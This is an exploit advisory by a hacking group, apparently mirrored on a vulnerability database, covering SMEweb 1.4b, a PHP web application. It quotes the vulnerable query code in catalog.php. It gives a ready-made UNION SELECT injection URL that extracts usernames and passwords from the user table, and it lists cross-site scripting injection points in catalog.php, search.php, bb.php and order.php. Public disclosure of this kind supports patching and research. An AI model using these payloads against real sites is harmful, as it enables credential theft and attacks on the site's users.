SMEweb 1.4b (SQL/XSS) Multiple Remote Vulnerabilities

🗓️ 03 Jun 2008 00:00:00Reported by RootType

SMEweb 1.4b (SQL/XSS) Multiple Remote Vulnerabilities, SQL Injection exploit and Multiple Remote XSS Exploit, www.citec.us, CWH Underground, 2 June 2008, http://www.smethailand.com/, http://www.geocities.com/smes_thailand/smeweb_v14b.zi


                                                =======================================================
&nbsp;SMEweb&nbsp;1.4b&nbsp;(SQL/XSS)&nbsp;Multiple&nbsp;Remote&nbsp;Vulnerabilities
=======================================================

&nbsp;&nbsp;,--^----------,--------,-----,-------^--,
&nbsp;&nbsp;|&nbsp;|||||||||&nbsp;&nbsp;&nbsp;`--------'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;O	..&nbsp;CWH&nbsp;Underground&nbsp;Hacking&nbsp;Team&nbsp;..
&nbsp;&nbsp;`+---------------------------^----------|
&nbsp;&nbsp;&nbsp;&nbsp;`\_,-------,&nbsp;_________________________|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/`|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/&nbsp;&nbsp;`\&nbsp;&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/\______(
&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/
&nbsp;(________(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;`------'

AUTHOR&nbsp;:&nbsp;CWH&nbsp;Underground
DATE&nbsp;&nbsp;&nbsp;:&nbsp;2&nbsp;June&nbsp;2008
SITE&nbsp;&nbsp;&nbsp;:&nbsp;www.citec.us


#####################################################
&nbsp;APPLICATION&nbsp;:&nbsp;SMEweb
&nbsp;VERSION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;1.4b
&nbsp;VENDOR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://www.smethailand.com/&nbsp;
&nbsp;DOWNLOAD&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://www.geocities.com/smes_thailand/smeweb_v14b.zip
#####################################################

---SQL&nbsp;Injection&nbsp;Exploit---

##############################################
Vulnerable:&nbsp;catalog.php&nbsp;(Line:66-69)

if($idp)&nbsp;&nbsp;
&nbsp;$sql&nbsp;=&nbsp;&quot;select&nbsp;*&nbsp;from&nbsp;&quot;.$fix.&quot;catalog&nbsp;where&nbsp;idp='$idp'&nbsp;and&nbsp;category&nbsp;NOT&nbsp;IN&nbsp;('L1','LA')&nbsp;&quot;;
elseif($category)&nbsp;&nbsp;&nbsp;	
&nbsp;$sql&nbsp;=&nbsp;&quot;select&nbsp;*&nbsp;from&nbsp;&quot;.$fix.&quot;catalog&nbsp;where&nbsp;category='$category'&nbsp;order&nbsp;by&nbsp;idp&nbsp;desc&nbsp;limit&nbsp;&nbsp;1&quot;;&nbsp;&nbsp;

&nbsp;$result&nbsp;=&nbsp;mysql_db_query($dbname,$sql);
###############################################

***It's&nbsp;Work&nbsp;with&nbsp;Magic_quote&nbsp;must&nbsp;turn&nbsp;off***

http://[target]/[path]/catalog.php?idp=1'union&nbsp;select&nbsp;1,2,password,username,5,6,7,8&nbsp;from&nbsp;smeweb_user&nbsp;where&nbsp;userid=1&nbsp;ORDER&nbsp;BY&nbsp;counter/*


---Multiple&nbsp;Remote&nbsp;XSS&nbsp;Exploit---

[+]catalog.php
[+]search.php
[+]bb.php
[+]order.php

Example:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
http://[target]/[path]/catalog.php?data=&lt;XSS&gt;
http://[target]/[path]/search.php?keyword=&lt;XSS&gt;
http://[target]/[path]/bb.php?page=&lt;XSS&gt;
http://[target]/[path]/order.php?new_s=&lt;XSS&gt;

##################################################################
#&nbsp;Greetz:&nbsp;ZeQ3uL,&nbsp;BAD&nbsp;$ectors,&nbsp;Snapter,&nbsp;Conan,&nbsp;JabAv0C,&nbsp;Win7dos&nbsp;&nbsp;#
##################################################################

03 Jun 2008 00:00Current

7.1High risk

Vulners AI Score7.1